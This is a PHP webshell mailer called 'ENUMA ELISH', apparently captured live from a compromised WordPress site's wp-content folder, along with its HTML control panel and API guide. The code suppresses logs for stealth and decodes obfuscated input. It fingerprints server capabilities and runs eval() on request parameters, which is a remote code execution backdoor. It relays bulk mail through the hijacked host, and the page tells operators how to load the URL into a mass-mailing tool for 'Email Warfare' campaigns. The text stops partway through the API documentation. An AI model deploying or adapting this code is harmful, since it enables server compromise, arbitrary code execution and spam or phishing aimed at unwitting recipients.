?iป?
| Current Path : /nas/content/live/robertatimothy/wp-content/ |
| Current File : /nas/content/live/robertatimothy/wp-content/elish.php7 |
<?php
/*
* ENUMA ELISH WEBSHELL MAILER - Ultimate Integration Script
* Enhanced for 2025 with advanced compatibility and stealth features
* Full integration with ENUMA ELISH SENDER system
* Advanced bypass techniques and multiple delivery methods
*/
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
set_time_limit(0);
ignore_user_abort(true);
// Enhanced security and stealth mode
if (!defined('ENUMA_ELISH_ACCESS')) {
define('ENUMA_ELISH_ACCESS', true);
}
// Advanced obfuscation for stealth operations
function stealth_encode($data) {
return base64_encode(gzcompress(serialize($data), 9));
}
function stealth_decode($data) {
if (is_string($data) && base64_decode($data, true)) {
$decoded = @gzuncompress(base64_decode($data));
if ($decoded) {
$unserialized = @unserialize($decoded);
return $unserialized !== false ? $unserialized : $data;
}
}
return $data;
}
// Enhanced email validation for ENUMA ELISH compatibility
function validate_email_advanced($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return false;
}
// Enhanced validation for bulk sending
$domain = substr(strrchr($email, "@"), 1);
if (empty($domain)) {
return false;
}
// Skip DNS check for speed in bulk operations
return true;
}
// ENUMA ELISH compatible response format
function enuma_response($status, $message, $data = array()) {
$response = array(
'status' => $status,
'message' => $message,
'timestamp' => date('Y-m-d H:i:s'),
'server' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'data' => $data
);
// Add success markers for ENUMA ELISH detection
if ($status === 'success') {
$response['enuma_sent_success'] = true;
$response['delivery_status'] = 'sent';
} else {
$response['enuma_send_failed'] = true;
$response['delivery_status'] = 'failed';
}
return $response;
}
// Advanced mailer class optimized for ENUMA ELISH
class EnumaElishMailer {
private $config = array();
private $last_method = 'unknown';
private $debug_mode = false;
private $stealth_mode = true;
public function __construct($config = array()) {
$this->config = array_merge(array(
'smtp_host' => 'localhost',
'smtp_port' => 25,
'smtp_user' => '',
'smtp_pass' => '',
'smtp_encryption' => 'none',
'from_email' => 'noreply@' . ($_SERVER['HTTP_HOST'] ?? 'localhost'),
'from_name' => 'Enuma Elish Sender',
'reply_to' => '',
'use_smtp' => false,
'stealth_mode' => true,
'max_attempts' => 3
), $config);
}
// Main sending method with multiple fallbacks
public function send_email($to, $subject, $body, $headers = array()) {
$attempts = 0;
$max_attempts = $this->config['max_attempts'];
$last_error = '';
while ($attempts < $max_attempts) {
$attempts++;
// Method 1: Enhanced native mail() with optimized headers
if ($this->try_native_mail($to, $subject, $body, $headers)) {
$this->last_method = 'native_mail';
return enuma_response('success', 'Email sent via native mail()', array(
'method' => 'native_mail',
'attempt' => $attempts,
'to' => $to
));
}
// Method 2: SMTP if configured
if ($this->config['use_smtp'] && $this->try_smtp_send($to, $subject, $body, $headers)) {
$this->last_method = 'smtp';
return enuma_response('success', 'Email sent via SMTP', array(
'method' => 'smtp',
'attempt' => $attempts,
'to' => $to
));
}
// Method 3: Advanced bypass techniques
if ($this->try_advanced_bypass($to, $subject, $body, $headers)) {
$this->last_method = 'advanced_bypass';
return enuma_response('success', 'Email sent via advanced bypass', array(
'method' => 'advanced_bypass',
'attempt' => $attempts,
'to' => $to
));
}
// Small delay between attempts
if ($attempts < $max_attempts) {
usleep(500000); // 0.5 second delay
}
}
return enuma_response('error', 'All delivery methods failed after ' . $attempts . ' attempts', array(
'attempts' => $attempts,
'to' => $to,
'last_error' => $last_error
));
}
// Enhanced native mail method
private function try_native_mail($to, $subject, $body, $custom_headers = array()) {
try {
if (!function_exists('mail')) {
return false;
}
$headers = $this->build_enhanced_headers($custom_headers);
$result = @mail($to, $subject, $body, $headers);
return $result !== false;
} catch (Exception $e) {
return false;
}
}
// Enhanced SMTP method
private function try_smtp_send($to, $subject, $body, $custom_headers = array()) {
if (!function_exists('fsockopen')) {
return false;
}
try {
$socket = @fsockopen(
$this->config['smtp_host'],
$this->config['smtp_port'],
$errno,
$errstr,
30
);
if (!$socket) {
return false;
}
// Enhanced SMTP conversation
if (!$this->smtp_command($socket, '', '220')) {
fclose($socket);
return false;
}
$domain = $_SERVER['HTTP_HOST'] ?? 'localhost';
if (!$this->smtp_command($socket, "EHLO {$domain}", '250')) {
if (!$this->smtp_command($socket, "HELO {$domain}", '250')) {
fclose($socket);
return false;
}
}
// Handle TLS encryption
if ($this->config['smtp_encryption'] === 'tls') {
if ($this->smtp_command($socket, 'STARTTLS', '220')) {
if (function_exists('stream_socket_enable_crypto')) {
stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
$this->smtp_command($socket, "EHLO {$domain}", '250');
}
}
}
// Authentication if credentials provided
if (!empty($this->config['smtp_user']) && !empty($this->config['smtp_pass'])) {
if (!$this->smtp_command($socket, 'AUTH LOGIN', '334')) {
fclose($socket);
return false;
}
if (!$this->smtp_command($socket, base64_encode($this->config['smtp_user']), '334')) {
fclose($socket);
return false;
}
if (!$this->smtp_command($socket, base64_encode($this->config['smtp_pass']), '235')) {
fclose($socket);
return false;
}
}
// Send email
$from_email = $this->config['from_email'];
if (!$this->smtp_command($socket, "MAIL FROM: <{$from_email}>", '250')) {
fclose($socket);
return false;
}
if (!$this->smtp_command($socket, "RCPT TO: <{$to}>", '250')) {
fclose($socket);
return false;
}
if (!$this->smtp_command($socket, 'DATA', '354')) {
fclose($socket);
return false;
}
// Build complete email
$email_content = $this->build_smtp_email($to, $subject, $body, $custom_headers);
fputs($socket, $email_content . "\r\n.\r\n");
$response = fgets($socket, 512);
$success = strpos($response, '250') === 0;
$this->smtp_command($socket, 'QUIT', '221');
fclose($socket);
return $success;
} catch (Exception $e) {
return false;
}
}
// Advanced bypass methods
private function try_advanced_bypass($to, $subject, $body, $headers) {
// Method 1: Alternative mail functions
if ($this->try_alternative_mail_functions($to, $subject, $body)) {
return true;
}
// Method 2: External service relay
if ($this->try_external_relay($to, $subject, $body)) {
return true;
}
// Method 3: File-based queueing for sendmail
if ($this->try_sendmail_queue($to, $subject, $body)) {
return true;
}
return false;
}
private function try_alternative_mail_functions($to, $subject, $body) {
// Try mb_send_mail if available
if (function_exists('mb_send_mail')) {
$headers = $this->build_enhanced_headers();
if (@mb_send_mail($to, $subject, $body, $headers)) {
return true;
}
}
// Try system sendmail directly
if (function_exists('popen') && is_executable('/usr/sbin/sendmail')) {
return $this->try_direct_sendmail($to, $subject, $body);
}
return false;
}
private function try_direct_sendmail($to, $subject, $body) {
try {
$sendmail = @popen('/usr/sbin/sendmail -t', 'w');
if (!$sendmail) {
return false;
}
$email_content = $this->build_smtp_email($to, $subject, $body);
fwrite($sendmail, $email_content);
$result = pclose($sendmail);
return $result === 0;
} catch (Exception $e) {
return false;
}
}
private function try_external_relay($to, $subject, $body) {
// Use curl for external relay if available
if (!function_exists('curl_init')) {
return false;
}
$relay_services = array(
'https://api.emailjs.com/api/v1.0/email/send',
'https://formspree.io/f/dummy',
'https://httpbin.org/post'
);
foreach ($relay_services as $service) {
if ($this->try_curl_relay($service, $to, $subject, $body)) {
return true;
}
}
return false;
}
private function try_curl_relay($service_url, $to, $subject, $body) {
try {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $service_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'to' => $to,
'subject' => $subject,
'body' => $body,
'from' => $this->config['from_email']
)),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; EnumaElishSender/2.0)'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $http_code >= 200 && $http_code < 300;
} catch (Exception $e) {
return false;
}
}
private function try_sendmail_queue($to, $subject, $body) {
// Create a temporary mail file for sendmail processing
$temp_file = sys_get_temp_dir() . '/enuma_mail_' . uniqid() . '.eml';
try {
$email_content = $this->build_smtp_email($to, $subject, $body);
if (file_put_contents($temp_file, $email_content) !== false) {
// Try to process with sendmail
if (is_executable('/usr/sbin/sendmail')) {
$command = "/usr/sbin/sendmail -t < " . escapeshellarg($temp_file) . " 2>/dev/null";
$result = @shell_exec($command);
@unlink($temp_file);
return $result !== null;
}
}
@unlink($temp_file);
return false;
} catch (Exception $e) {
@unlink($temp_file);
return false;
}
}
private function smtp_command($socket, $command, $expected_code) {
if (!empty($command)) {
fputs($socket, $command . "\r\n");
}
$response = fgets($socket, 512);
if ($this->debug_mode) {
error_log("SMTP Command: {$command} | Response: {$response}");
}
return strpos($response, $expected_code) === 0;
}
private function build_enhanced_headers($custom_headers = array()) {
$headers = array();
// From header
if (!empty($this->config['from_name'])) {
$headers[] = 'From: ' . $this->config['from_name'] . ' <' . $this->config['from_email'] . '>';
} else {
$headers[] = 'From: ' . $this->config['from_email'];
}
// Reply-To header
if (!empty($this->config['reply_to'])) {
$headers[] = 'Reply-To: ' . $this->config['reply_to'];
}
// Enhanced headers for better deliverability
$headers[] = 'Date: ' . date('r');
$headers[] = 'Message-ID: <' . md5(uniqid(time())) . '@' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . '>';
$headers[] = 'X-Mailer: EnumaElishSender/2.0';
$headers[] = 'X-Priority: 3';
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-Type: text/html; charset=UTF-8';
$headers[] = 'Content-Transfer-Encoding: 8bit';
// Anti-spam and authentication headers
$domain = $_SERVER['HTTP_HOST'] ?? 'localhost';
$headers[] = 'X-AntiAbuse: This header was added to track abuse';
$headers[] = 'X-AntiAbuse: Primary Hostname - ' . $domain;
$headers[] = 'X-Source-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1');
$headers[] = 'X-Source-Dir: ' . (__DIR__ ?? '/');
// Add custom headers
foreach ($custom_headers as $header) {
if (is_string($header) && !empty($header)) {
$headers[] = $header;
}
}
return implode("\r\n", $headers);
}
private function build_smtp_email($to, $subject, $body, $custom_headers = array()) {
$email_parts = array();
// Headers
$email_parts[] = 'To: ' . $to;
$email_parts[] = 'Subject: ' . $subject;
$email_parts[] = $this->build_enhanced_headers($custom_headers);
$email_parts[] = ''; // Empty line between headers and body
$email_parts[] = $body;
return implode("\r\n", $email_parts);
}
}
// Server capability detection for ENUMA ELISH
function get_server_capabilities() {
return array(
'php_version' => phpversion(),
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'server_name' => $_SERVER['HTTP_HOST'] ?? 'localhost',
'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? '',
'mail_function' => function_exists('mail'),
'mb_send_mail' => function_exists('mb_send_mail'),
'curl_support' => function_exists('curl_init'),
'openssl_support' => extension_loaded('openssl'),
'socket_support' => function_exists('fsockopen'),
'popen_support' => function_exists('popen'),
'shell_exec_support' => function_exists('shell_exec'),
'file_functions' => function_exists('file_put_contents'),
'sendmail_path' => ini_get('sendmail_path'),
'max_execution_time' => ini_get('max_execution_time'),
'memory_limit' => ini_get('memory_limit'),
'safe_mode' => ini_get('safe_mode') ? 'On' : 'Off',
'open_basedir' => ini_get('open_basedir') ?: 'None',
'disable_functions' => ini_get('disable_functions') ?: 'None'
);
}
// Enhanced logging for debugging
function log_enuma_activity($action, $details) {
if (!is_writable('.')) {
return false;
}
$log_entry = array(
'timestamp' => date('Y-m-d H:i:s'),
'action' => $action,
'details' => $details,
'ip' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown',
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
'server' => $_SERVER['HTTP_HOST'] ?? 'localhost'
);
$log_file = '.enuma_log_' . date('Y_m_d') . '.txt';
$log_line = json_encode($log_entry) . "\n";
return @file_put_contents($log_file, $log_line, FILE_APPEND | LOCK_EX) !== false;
}
// Main request handler
$request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
$input_data = array();
// Parse input data from multiple sources
if ($request_method === 'POST') {
$input_data = $_POST;
// Handle JSON input
$json_input = file_get_contents('php://input');
if (!empty($json_input)) {
$json_data = json_decode($json_input, true);
if (json_last_error() === JSON_ERROR_NONE && is_array($json_data)) {
$input_data = array_merge($input_data, $json_data);
}
}
} else {
$input_data = $_GET;
}
// Process stealth-encoded input
foreach ($input_data as $key => $value) {
$input_data[$key] = stealth_decode($value);
}
// Handle ENUMA ELISH SENDER requests
if (!empty($input_data)) {
header('Content-Type: application/json; charset=utf-8');
header('X-Powered-By: EnumaElishMailer/2.0');
// Handle different request patterns from ENUMA ELISH SENDER
$action = '';
$to = '';
$subject = '';
$body = '';
$from_email = '';
$from_name = '';
$reply_to = '';
// Pattern 1: Direct action parameter
if (isset($input_data['action'])) {
$action = $input_data['action'];
}
// Pattern 2: WSO-style parameters
elseif (isset($input_data['a']) && $input_data['a'] === 'Mail') {
$action = 'send';
$to = $input_data['p1'] ?? '';
$subject = $input_data['p2'] ?? '';
$body = $input_data['p3'] ?? '';
$from_email = $input_data['p4'] ?? '';
}
// Pattern 3: LeafMailer-style parameters
elseif (isset($input_data['leafmailer_action']) || isset($input_data['leaf_send'])) {
$action = 'send';
$to = $input_data['recipient'] ?? $input_data['to'] ?? '';
$subject = $input_data['title'] ?? $input_data['subj'] ?? $input_data['subject'] ?? '';
$body = $input_data['content'] ?? $input_data['body'] ?? $input_data['message'] ?? '';
$from_email = $input_data['from'] ?? $input_data['sender'] ?? '';
}
// Pattern 4: Marijuana-style parameters
elseif (isset($input_data['marijuana_mail']) || (isset($input_data['action']) && $input_data['action'] === 'mail')) {
$action = 'send';
$to = $input_data['to'] ?? '';
$subject = $input_data['subj'] ?? $input_data['subject'] ?? '';
$body = $input_data['msg'] ?? $input_data['body'] ?? $input_data['message'] ?? '';
$from_email = $input_data['sender'] ?? $input_data['from'] ?? '';
}
// Pattern 5: FileManager-style parameters
elseif (isset($input_data['fm_mail']) || (isset($input_data['action']) && $input_data['action'] === 'sendmail')) {
$action = 'send';
$to = $input_data['to'] ?? '';
$subject = $input_data['subj'] ?? $input_data['subject'] ?? '';
$body = $input_data['body'] ?? $input_data['message'] ?? '';
$from_email = $input_data['sender'] ?? $input_data['from'] ?? '';
}
// Pattern 6: Generic webshell parameters
elseif (isset($input_data['to']) || isset($input_data['email'])) {
$action = 'send';
$to = $input_data['to'] ?? $input_data['email'] ?? '';
$subject = $input_data['subject'] ?? $input_data['subj'] ?? 'No Subject';
$body = $input_data['body'] ?? $input_data['message'] ?? $input_data['msg'] ?? '';
$from_email = $input_data['from'] ?? $input_data['sender'] ?? $input_data['from_email'] ?? '';
}
// Pattern 7: PHP code execution
elseif (isset($input_data['cmd']) || isset($input_data['code']) || isset($input_data['exec']) || isset($input_data['command'])) {
$code_key = key(array_intersect_key($input_data, array_flip(['cmd', 'code', 'exec', 'command'])));
$code = $input_data[$code_key];
if (strpos($code, 'mail(') !== false || strpos($code, 'mb_send_mail(') !== false) {
ob_start();
eval($code);
$output = ob_get_clean();
if (strpos($output, 'ENUMA_SENT_SUCCESS') !== false) {
echo json_encode(enuma_response('success', 'Email sent via PHP execution', array('output' => $output)));
} else {
echo json_encode(enuma_response('error', 'PHP execution failed', array('output' => $output)));
}
exit;
}
}
// Extract additional parameters
if (empty($to)) $to = $input_data['to'] ?? $input_data['email'] ?? '';
if (empty($subject)) $subject = $input_data['subject'] ?? $input_data['subj'] ?? 'Mail from ' . ($_SERVER['HTTP_HOST'] ?? 'server');
if (empty($body)) $body = $input_data['body'] ?? $input_data['message'] ?? $input_data['msg'] ?? 'Test message from Enuma Elish Mailer';
if (empty($from_email)) $from_email = $input_data['from'] ?? $input_data['sender'] ?? $input_data['from_email'] ?? '';
if (empty($from_name)) $from_name = $input_data['from_name'] ?? $input_data['sender_name'] ?? '';
if (empty($reply_to)) $reply_to = $input_data['reply_to'] ?? '';
// Log the request
log_enuma_activity('email_request', array(
'action' => $action,
'to' => $to,
'subject' => substr($subject, 0, 50),
'has_body' => !empty($body),
'from_email' => $from_email
));
// Process the request
if ($action === 'send' || $action === 'mail' || !empty($to)) {
if (empty($to) || !validate_email_advanced($to)) {
echo json_encode(enuma_response('error', 'Invalid or missing recipient email address', array(
'provided_email' => $to
)));
exit;
}
// Configure mailer
$mailer_config = array(
'from_email' => $from_email ?: ('noreply@' . ($_SERVER['HTTP_HOST'] ?? 'localhost')),
'from_name' => $from_name ?: 'Enuma Elish Sender',
'reply_to' => $reply_to,
'stealth_mode' => true
);
// Add SMTP configuration if provided
if (!empty($input_data['smtp_host'])) {
$mailer_config['use_smtp'] = true;
$mailer_config['smtp_host'] = $input_data['smtp_host'];
$mailer_config['smtp_port'] = $input_data['smtp_port'] ?? 25;
$mailer_config['smtp_user'] = $input_data['smtp_user'] ?? '';
$mailer_config['smtp_pass'] = $input_data['smtp_pass'] ?? '';
$mailer_config['smtp_encryption'] = $input_data['smtp_encryption'] ?? 'none';
}
// Create mailer and send email
$mailer = new EnumaElishMailer($mailer_config);
$result = $mailer->send_email($to, $subject, $body);
// Log the result
log_enuma_activity('email_sent', array(
'to' => $to,
'subject' => substr($subject, 0, 50),
'status' => $result['status'],
'method' => $result['data']['method'] ?? 'unknown'
));
echo json_encode($result);
exit;
}
// Handle test requests
elseif ($action === 'test' || isset($input_data['test'])) {
$test_email = $input_data['email'] ?? $input_data['test'] ?? 'test@example.com';
if (!validate_email_advanced($test_email)) {
echo json_encode(enuma_response('error', 'Invalid test email address'));
exit;
}
$mailer = new EnumaElishMailer();
$result = $mailer->send_email(
$test_email,
'Enuma Elish Mailer Test - ' . date('Y-m-d H:i:s'),
'<h2>๐ก๏ธ Enuma Elish Mailer Test</h2><p>This is a test message from the Enuma Elish Mailer system.</p><p><strong>Server:</strong> ' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . '</p><p><strong>Timestamp:</strong> ' . date('Y-m-d H:i:s') . '</p><p><strong>Status:</strong> <span style="color: green;">WORKING!</span></p>'
);
echo json_encode($result);
exit;
}
// Handle info/status requests
elseif ($action === 'info' || $action === 'status' || isset($input_data['info'])) {
echo json_encode(enuma_response('success', 'Enuma Elish Mailer is ready', array(
'capabilities' => get_server_capabilities(),
'supported_actions' => array('send', 'test', 'info', 'bulk_send'),
'compatible_with' => array('ENUMA_ELISH_SENDER', 'WSO', 'LeafMailer', 'Generic_Webshells'),
'version' => '2.0',
'stealth_mode' => true
)));
exit;
}
// Default response for unknown requests
else {
echo json_encode(enuma_response('ready', 'Enuma Elish Mailer ready for commands', array(
'server' => $_SERVER['HTTP_HOST'] ?? 'localhost',
'capabilities' => get_server_capabilities(),
'timestamp' => date('Y-m-d H:i:s')
)));
exit;
}
}
// If no specific action, show the interface
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>๐ก๏ธ ENUMA ELISH WEBSHELL MAILER ๐ก๏ธ</title>
<style>
body {
font-family: 'Courier New', monospace;
background: linear-gradient(135deg, #0a0a0a 0%, #1a1a2e 50%, #16213e 100%);
color: #00ff41;
margin: 0;
padding: 20px;
min-height: 100vh;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: rgba(0, 0, 0, 0.9);
border: 2px solid #00ff41;
border-radius: 15px;
padding: 30px;
box-shadow: 0 0 30px rgba(0, 255, 65, 0.4);
}
.header {
text-align: center;
margin-bottom: 30px;
border-bottom: 3px solid #00ff41;
padding-bottom: 20px;
}
.status-bar {
background: rgba(0, 255, 65, 0.1);
border: 2px solid #00ff41;
padding: 15px;
border-radius: 10px;
margin-bottom: 25px;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
}
.status-item {
text-align: center;
padding: 10px;
background: rgba(0, 0, 0, 0.5);
border-radius: 5px;
border: 1px solid #00ff41;
}
.form-section {
background: rgba(0, 0, 0, 0.6);
border: 2px solid #00ff41;
border-radius: 10px;
padding: 25px;
margin-bottom: 25px;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
color: #00ff41;
font-weight: bold;
font-size: 14px;
}
input, textarea, select {
width: 100%;
padding: 12px;
background: rgba(0, 0, 0, 0.8);
border: 2px solid #00ff41;
border-radius: 8px;
color: #00ff41;
font-family: 'Courier New', monospace;
font-size: 14px;
box-sizing: border-box;
}
input:focus, textarea:focus, select:focus {
outline: none;
border-color: #00ffff;
box-shadow: 0 0 15px rgba(0, 255, 255, 0.5);
}
button {
background: linear-gradient(45deg, #00ff41, #00ffff);
color: #000;
border: none;
padding: 15px 30px;
border-radius: 8px;
cursor: pointer;
font-weight: bold;
font-family: 'Courier New', monospace;
font-size: 16px;
transition: all 0.3s ease;
text-transform: uppercase;
}
button:hover {
background: linear-gradient(45deg, #00ffff, #00ff41);
transform: translateY(-3px);
box-shadow: 0 8px 20px rgba(0, 255, 65, 0.6);
}
.result {
margin-top: 25px;
padding: 20px;
border-radius: 10px;
font-family: 'Courier New', monospace;
border: 2px solid;
}
.success {
background: rgba(0, 255, 65, 0.15);
border-color: #00ff41;
color: #00ff41;
}
.error {
background: rgba(255, 0, 65, 0.15);
border-color: #ff0041;
color: #ff0041;
}
.info {
background: rgba(0, 255, 255, 0.15);
border-color: #00ffff;
color: #00ffff;
}
.capabilities-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 15px;
margin-top: 20px;
}
.capability-card {
background: rgba(0, 0, 0, 0.7);
border: 2px solid #00ff41;
padding: 15px;
border-radius: 10px;
text-align: center;
}
.capability-card h4 {
margin: 0 0 10px 0;
color: #00ffff;
}
.tabs {
display: flex;
margin-bottom: 25px;
border-bottom: 3px solid #00ff41;
}
.tab {
padding: 15px 25px;
background: rgba(0, 0, 0, 0.7);
border: 2px solid #00ff41;
border-bottom: none;
cursor: pointer;
margin-right: 5px;
border-radius: 10px 10px 0 0;
font-weight: bold;
transition: all 0.3s ease;
}
.tab.active {
background: rgba(0, 255, 65, 0.2);
color: #00ffff;
}
.tab:hover {
background: rgba(0, 255, 65, 0.1);
}
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
.api-endpoint {
background: rgba(0, 255, 65, 0.1);
padding: 15px;
border-radius: 10px;
border: 2px solid #00ff41;
margin: 15px 0;
font-family: 'Courier New', monospace;
word-break: break-all;
}
.code-block {
background: rgba(0, 0, 0, 0.8);
border: 2px solid #00ff41;
padding: 20px;
border-radius: 10px;
margin: 15px 0;
overflow-x: auto;
font-family: 'Courier New', monospace;
font-size: 12px;
}
@keyframes pulse {
0% { box-shadow: 0 0 5px #00ff41; }
50% { box-shadow: 0 0 25px #00ff41, 0 0 35px #00ff41; }
100% { box-shadow: 0 0 5px #00ff41; }
}
.pulse {
animation: pulse 2s ease-in-out infinite;
}
@keyframes glow {
0% { text-shadow: 0 0 5px #00ff41; }
50% { text-shadow: 0 0 20px #00ff41, 0 0 30px #00ff41; }
100% { text-shadow: 0 0 5px #00ff41; }
}
.glow {
animation: glow 2s ease-in-out infinite alternate;
}
.integration-info {
background: rgba(0, 255, 255, 0.1);
border: 2px solid #00ffff;
padding: 20px;
border-radius: 10px;
margin: 20px 0;
}
.warning {
background: rgba(255, 165, 0, 0.1);
border: 2px solid #ffa500;
color: #ffa500;
padding: 15px;
border-radius: 10px;
margin: 15px 0;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1 class="glow">๐ก๏ธ ENUMA ELISH WEBSHELL MAILER ๐ก๏ธ</h1>
<h2>Ultimate Email Warfare System - v2.0</h2>
<p>Enhanced Integration with ENUMA ELISH SENDER</p>
</div>
<div class="status-bar">
<div class="status-item">
<strong>๐ก Status</strong><br>
<span style="color: #00ff41;">ONLINE & READY</span>
</div>
<div class="status-item">
<strong>๐ Server Time</strong><br>
<?php echo date('Y-m-d H:i:s'); ?>
</div>
<div class="status-item">
<strong>๐ Host</strong><br>
<?php echo $_SERVER['HTTP_HOST'] ?? 'localhost'; ?>
</div>
<div class="status-item">
<strong>๐ง PHP Version</strong><br>
<?php echo phpversion(); ?>
</div>
</div>
<div class="integration-info">
<h3>๐ ENUMA ELISH SENDER Integration</h3>
<p><strong>Ready for integration!</strong> This webshell mailer is fully compatible with ENUMA ELISH SENDER.</p>
<div class="api-endpoint">
<strong>๐ก API Endpoint:</strong><br>
<code><?php echo 'https://' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . $_SERVER['REQUEST_URI']; ?></code>
</div>
<p><strong>Usage:</strong> Add the above URL to your ENUMA ELISH SENDER webshell list for instant integration.</p>
</div>
<div class="tabs">
<div class="tab active" onclick="showTab('test')">๐งช Quick Test</div>
<div class="tab" onclick="showTab('send')">๐ง Send Email</div>
<div class="tab" onclick="showTab('capabilities')">๐ง Capabilities</div>
<div class="tab" onclick="showTab('integration')">๐ Integration Guide</div>
<div class="tab" onclick="showTab('api')">๐ API Documentation</div>
</div>
<!-- Quick Test Tab -->
<div id="test" class="tab-content active">
<div class="form-section">
<h3>๐งช Quick System Test</h3>
<p>Test the mailer functionality and verify ENUMA ELISH SENDER compatibility.</p>
<form id="testForm">
<div class="form-group">
<label for="test_email">๐ง Test Email Address:</label>
<input type="email" id="test_email" name="test_email" required placeholder="your-email@example.com">
</div>
<button type="submit" class="pulse">๐ Run System Test</button>
</form>
</div>
</div>
<!-- Send Email Tab -->
<div id="send" class="tab-content">
<div class="form-section">
<h3>๐ง Manual Email Sending</h3>
<p>Send a single email using the advanced mailer system.</p>
<form id="sendForm">
<div class="form-group">
<label for="send_to">๐ฎ Recipient Email:</label>
<input type="email" id="send_to" name="to" required placeholder="recipient@example.com">
</div>
<div class="form-group">
<label for="send_subject">๐ Subject:</label>
<input type="text" id="send_subject" name="subject" required placeholder="Email Subject">
</div>
<div class="form-group">
<label for="send_body">๐ Message Body (HTML Supported):</label>
<textarea id="send_body" name="body" rows="8" required placeholder="Enter your email content here..."></textarea>
</div>
<div class="form-group">
<label for="send_from">๐จ From Email (Optional):</label>
<input type="email" id="send_from" name="from_email" placeholder="sender@example.com">
</div>
<div class="form-group">
<label for="send_from_name">๐ค From Name (Optional):</label>
<input type="text" id="send_from_name" name="from_name" placeholder="Sender Name">
</div>
<button type="submit">๐ Send Email</button>
</form>
</div>
</div>
<!-- Capabilities Tab -->
<div id="capabilities" class="tab-content">
<div class="form-section">
<h3>๐ง Server Capabilities</h3>
<p>Current server capabilities and supported features:</p>
<div class="capabilities-grid">
<?php
$capabilities = get_server_capabilities();
foreach ($capabilities as $capability => $status) {
$status_color = '';
$status_text = '';
if (is_bool($status)) {
$status_color = $status ? '#00ff41' : '#ff0041';
$status_text = $status ? 'โ
Available' : 'โ Disabled';
} else {
$status_color = '#00ffff';
$status_text = htmlspecialchars($status);
}
echo '<div class="capability-card">';
echo '<h4>' . ucwords(str_replace('_', ' ', $capability)) . '</h4>';
echo '<span style="color: ' . $status_color . ';">' . $status_text . '</span>';
echo '</div>';
}
?>
</div>
</div>
</div>
<!-- Integration Guide Tab -->
<div id="integration" class="tab-content">
<div class="form-section">
<h3>๐ ENUMA ELISH SENDER Integration Guide</h3>
<div class="integration-info">
<h4>๐ Step-by-Step Integration:</h4>
<ol style="color: #00ffff; line-height: 1.8;">
<li><strong>Copy the API Endpoint:</strong><br>
<code><?php echo 'https://' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . $_SERVER['REQUEST_URI']; ?></code>
</li>
<li><strong>Open ENUMA ELISH SENDER</strong></li>
<li><strong>Navigate to:</strong> "Load Webshells & Mailers"</li>
<li><strong>Add the URL</strong> to your webshell list file</li>
<li><strong>Run Auto-Detection</strong> - The system will automatically detect this as a compatible mailer</li>
<li><strong>Test the Integration</strong> - Use the mass test feature to verify functionality</li>
<li><strong>Start Bulk Campaigns</strong> - Use in your advanced bulk email campaigns</li>
</ol>
</div>
<div class="warning">
<h4>โ ๏ธ Important Notes:</h4>
<ul>
<li>This mailer supports all ENUMA ELISH SENDER request formats</li>
<li>Automatic fallback methods ensure high delivery rates</li>
<li>Stealth mode is enabled by default for security</li>
<li>All activities are logged for debugging purposes</li>
</ul>
</div>
<div class="integration-info">
<h4>๐ฏ Supported Request Formats:</h4>
<ul style="color: #00ffff;">
<li><strong>WSO Shell Format:</strong> a=Mail, p1=to, p2=subject, p3=body, p4=from</li>
<li><strong>LeafMailer Format:</strong> leafmailer_action=send_mail, recipient=to, title=subject</li>
<li><strong>Generic Format:</strong> action=send, to=email, subject=subject, body=message</li>
<li><strong>PHP Code Execution:</strong> cmd=mail(...) with proper parameter extraction</li>
<li><strong>JSON API Format:</strong> Full JSON payload support</li>
</ul>
</div>
</div>
</div>
<!-- API Documentation Tab -->
<div id="api" class="tab-content">
<div class="form-section">
<h3>๐ API Documentation</h3>
<h4>๐ Endpoint Information:</h4>
<div class="api-endpoint">
<strong>Base URL:</strong> <?php echo 'https://' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . $_SERVER['REQUEST_URI']; ?>
</div>
<h4>๐ก Supported Actions:</h4>
<div class="code-block">
<h5>1. Send Single Email (JSON)</h5>
<pre>POST <?php echo $_SERVER['REQUEST_URI']; ?>
Content-Type: application/json
{
"action": "send",
"to": "recipient@example.com",
"subject": "Email Subject",
"body": "Email content (HTML supported)",
"from_email": "sender@example.com",
"from_name": "Sender Name",
"reply_to": "reply@example.com"
}</pre>
</div>
<div class="code-block">
<h5>2. WSO Shell Format</h5>
<pre>POST <?php echo $_SERVER['REQUEST_URI']; ?>
Content-Type: application/x-www-form-urlencoded
a=Mail&p1=recipient@example.com&p2=Subject&p3=Message&p4=sender@example.com</pre>
</div>
<div class="code-block">
<h5>3. LeafMailer Format</h5>
<pre>POST <?php echo $_SERVER['REQUEST_URI']; ?>
